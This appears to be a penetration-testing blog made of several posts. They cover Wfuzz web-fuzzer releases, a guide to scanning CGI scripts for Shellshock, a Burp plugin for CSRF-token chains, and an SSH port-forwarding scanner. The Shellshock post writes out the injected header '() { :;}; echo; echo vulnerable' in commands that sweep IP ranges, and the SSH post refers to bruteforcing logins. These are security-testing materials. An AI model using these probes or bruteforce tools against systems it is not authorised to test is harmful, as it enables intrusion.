Wfuzz 2.2.0 released

I'm pleased to announce a new version of WFuzz!

Wfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload.

A payload in Wfuzz is a source of data.

This simple concept allows any input to be injected in any field of an HTTP request, allowing to perform complex web security attacks in different web application components such as: parameters, authentication, forms, directories/files, headers, etc.

Wfuzz has received a huge update. Version 2.2.0 introduces plenty of great new features. One of the biggest changes is that Wfuzz is now scriptable:

>>> import wfuzz
>>> for r in wfuzz.get_payload(range(100)).fuzz(hl=[97], url="http://testphp.vulnweb.com/listproducts.php?cat=FUZZ"):
...     print r
...
00125:  C=200    102 L       434 W         7011 Ch        "1"
00126:  C=200     99 L       302 W         4442 Ch        "2"

Additional command line interfaces to generate payloads and encoding strings are now available. Other great feature, is the improved filtering language and the ability to reuse previous results, for example, if you do not want to perform any request but just find some specific HTTP requests within a previous Burp (TM) session, you can use the wfpayload executable:

$ wfpayload -z burplog,a_burp_log.log --slice "params.get~'authtoken' and url.pstrip|u()"

The command above will return a unique list of HTTP requests including the authtoken parameter as a GET parameter. Authtoken is the parameter used by BEA WebLogic Commerce Servers (TM) as a CSRF token, and therefore it will return all the requests exposing the CSRF token in the URL.

A big effort has been done on documenting all the available features, check http://wfuzz.readthedocs.io/.

You can now install Wfuzz using pip and run it from any directory, you can even set up look up directories for your preferred word lists.

$ pip install wfuzz

Enjoy!

Scan for shellshock with wfuzz

In the last few weeks everyone has been talking about Shellshock, the vulnerability affecting bash and having security ramifications everywhere, from Web, DHCP or SSH servers to mail servers. It does not have any sense to extend this post trying to rehash what this vulnerability is about or why it is an issue, as by now there are thousands of other posts and articles about the Bash “Shellshock” vulnerability, you only have to do a quick search on the Internet.

The best way to test for the Shellshock vulnerability is to do a local check but if you are worried about your web server hosting a vulnerable /cgi-bin and you don't have shell access, there are plenty of free Shellshock on-line scanner tools such as:

• http://shellshock.brandonpotter.com/
• http://bashsmash.ccsir.org/
• http://www.shellshocktest.com/
• ...

Or tools like Qualys, Nessus, Nmap, Burp, Metasploit...  and a bunch of "quick-and-dirty” scans using simple Perl or Python scripts.

Of course, you can also use Wfuzz to check for internal or external affected Web servers easily, by injecting a payload in the User-agent, Referer or Accept headers against well known CGI scripts as follows (since v2.1 --ss switch allows you to filter responses containing the specified regex):

$ wfuzz.py -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ                              
****************************************
* Wfuzz 2.1 - The Web Bruteforcer                      *
****************************************

Target: http://localhost:8000/FUZZ
Total requests: 389

==============================================
ID      Response   Lines      Word         Chars          Request  
==============================================

00250:  C=200      4 L         6 W           50 Ch        "/cgi-bin/test.cgi"

Total time: 0.725533
Processed Requests: 389
Filtered Requests: 388
Requests/sec.: 536.1568

You can also scan various hosts by supplying a list of hostnames, for example:

$ wfuzz.py -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w hostslist.txt -w cgis.txt FUZZ/FUZ2Z

or by using an IP range (v2.1 allows you to use the -Z switch to ignore connection errors):

$ wfuzz.py -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -z range,0-255 -w cgis.txt -Z http://192.168.1.FUZZ/FUZ2Z

Happy hunting,

Wfuzz 2.1 released !

I'm pleased to announce  a new version of WFuzz!

Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc.), bruteforce GET and POST parameters for checking different kind of injections, bruteforce forms parameters (User/Password), Fuzzing,etc.

I have been working intermittently on this release since October 2011, being almost finished several times but always leaving it aside at the last moment due to work. A few weeks ago I decided to finish it whatever it took.

This version is a major change from the previous releases as it is almost totally rewritten, leaving not much of the old wfuzz 1.4, hoping for the best.

The biggest change is that wfuzz now supports plugins, so you can code your scripts and improve or modify the application's functionality. For example, there is a plugin that parses links within the HTTP response and these will be added to the fuzzing queue. Check below how a single word "a" generates 8 different requests:

 $ python wfuzz.py --script=links -z list,a --follow  http://localhost:8000/FUZZ
********************************************************
* Wfuzz 2.1 - The Web Bruteforcer                      *
********************************************************

Target: http://localhost:8000/FUZZ
Total requests: 1

===========================================
ID      Response   Lines      Word         Chars          Request  
===========================================
00000:  C=200     17 L        89 W         1481 Ch        "a"
  |_ Plugin links enqueued 5 more requests (rlevel=1)
00001:  C=200     14 L        57 W          889 Ch        "/a/b/"
  |_ Plugin links enqueued 2 more requests (rlevel=2)
00002:  C=200      4 L        25 W          177 Ch        "/"
00003:  C=200      9 L         7 W           61 Ch        "/a/test.html"
00004:  C=200      4 L         6 W           47 Ch        "/a/test.js"
00005:  C=403     10 L        30 W          285 Ch        "/icons/"
00006:  C=200     17 L        89 W         1481 Ch        "/a/"
00007:  C=200     14 L        57 W          895 Ch        "/a/b/c/"
  |_ Plugin links enqueued 1 more requests (rlevel=3)
00008:  C=200     13 L        46 W          716 Ch        "/a/b/c/d/"

The project has been moved from Google code to Github. For a full list of the new features, check the Wfuzz v2.1 changelog.

Download the latest version at:

• https://github.com/xmendez/wfuzz/releases/

Testing CSRF aware webapps with Burp

Nowadays, is not uncommon to face websites protected using some variant of the synchronizer token pattern to mitigate the risk of Cross-Site Request Forgery (CSRF) attacks.

The basic functioning of these webapps is to generate a random token submitted with each HTTP request, ensuring that the token is present and is valid for a given HTTP request.

Below is shown an URL including its associated token:

http://localhost:8080/injection_CSRF/inject.jsp?id=1&org.apache.catalina.filters.CSRF_NONCE=F22B0AC7234C98DFE11D665A3383B7E2

Although these protections help to mitigate effectively the risk of CSRF, they make almost impossible to analyse an application in an automatic or semi-automatic way, as this involves requesting an URL with a given token several times, which are discarded by the web server. Furthermore, a common action is to close the established HTTP session.

The only way to request a URL several times is to re-generate the associated token. One possible way of doing this is using the referrer header in order to go backwards identifying all the requests involved in the creation of the token and request them again in order to regenerate it.

Shown below is an example where a user has to click through two menus in order to reach the "inject.jsp" page:

1. http://localhost:8080/injection_CSRF/index,jsp
2. http://localhost:8080/injection_CSRF/index2.jsp?org.apache.catalina.filters.CSRF_NONCE=2AC1162C4CA176122F2BAA591B1F360E
3. http://localhost:8080/injection_CSRF/inject.jsp?id=1&org.apache.catalina.filters.CSRF_NONCE=1EB3952B5BB391C7936A862DF8940DF0

In order to perform an automatic scan of the third request, the two previous requests must be performed sequentially as each of these requests contains a new generated token needed for the next request, forming a token chain.

A POC in the form of a Burp suite plugin has been developed to verify this approach, it can be downloaded at https://github.com/xmendez/misc. This plugin has been successfully tested against a simple vulnerable application using tomcat CSRF protection (all the requests in the token generation chain must be requested before testing a given URL).

It should be noted however that this code is a POC and it requires further development in other to be able to work against real environments (any link of a webapp with this behavior is appreciated).

Wfuzz 2.0 released!

Hi All!


After Christian presentation at BlackHat/2011 Tools Arsenal, I'm pleased to announce  a new version of WFuzz! It is now more flexible, dynamic and extensible than ever!

Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections, bruteforce Forms parameters (User/Password), Fuzzing,etc.

Highlights in this version:

- Infinite payloads. You can now define as many FUZnZ words as you need .

- Multiple encoders per payload. You can now define as many encoders as you need for each payload independently.

- Payload combination. You can now combine your payloads in different ways by specifying 

iterators.

- Increased flexibility. You can now define in an easy way new payloads, iterators, encoders and output handlers and they will be part of wfuzz straight away.

- Baseline support. You can now define a default value for each payload and compare the results against them.

Other new features include:

- New payloads

- New encoders

- Magictree output

- Support for multiple proxies

- Time delay between requests

- Follow HTTP redirects

- Fuzz within HTTP methods

- HTTP HEAD scan

- SOCKS4/SOCKS5 support

More detailed examples in the README and the google code project page !

Check it at http://code.google.com/p/wfuzz/!!

Stay tuned! We have a lot of improvements and ideas coming up!

Blackhat Arsenal USA

Hi all, we are proud to announce that we are going to present at Blackhat Arsenal USA 2011.

We are presenting on Wednesday Wfuzz and Webslayer 2.0 and on Thurdsay theHarvester + Metagoofil 2.0!  both days at 11:15hs.

http://blackhat.com/html/bh-us-11/bh-us-11-arsenal.html

If you want to say hello pass by our pod!

See you there

Edge-Security

Scanning ports through SSH Port Forwarding

In one of the latest penetration tests we faced a SSH server that was based in Maverick SSHTOOLS.

The funny thing is that this server was implemented by copy & pasting the example from the web, which had the Port forwarding feature enabled.

After running a bruteforce attack, we found that the admin account had the "admin" password (strong password policy btw), but when we tried to login there was no shell,  the server echoed everything we typed. So we went for the Port forwarding option, we forwarded some ports to interesting services like Terminal Server in the same machine and it worked, so then we though that would be great to be able to scan the internal network through this port forwarding feature, and that´s how we came up with this SSHscan tool.

SSHscan.py will allow you to scan a internal network through a SSH with port forwarding enabled. The tool allows to create a port forward in localhost for every open port detected in the internal network range.

This tool is not one that can be used in every engagement but when you have the opportunity and the need it will came handy.

The tool has been included in the edgeSSH kit, where we will include all the scripts related with SSH, at the moment only bruteSSH, a SSH login bruteforcer and scanSSH are included in the kit.

You can download the code here://code.google.com/p/edgessh

Command line options:

       -h: target host
       -u: username
       -p: password
       -l: targets lists to scan
       -t: threads
       --remote-host: host to scan
       --remote-ports: port list to scan
       --default-ports: scan default ports
       --all-ports: scan all 65535 ports
       --keep-tunnels: Forward all open ports

Examples:

    scanssh.py -h 192.168.1.55 -u root -p passowrd -t list.txt
    scanssh.py -h 192.168.1.55 -u root -p password --remote-host 127.0.0.1 --remote-ports 80,443
    scanssh.py -h 192.168.1.55 -u root -p password --remote-host 127.0.0.1 --default-ports

Enjoy Edge-Security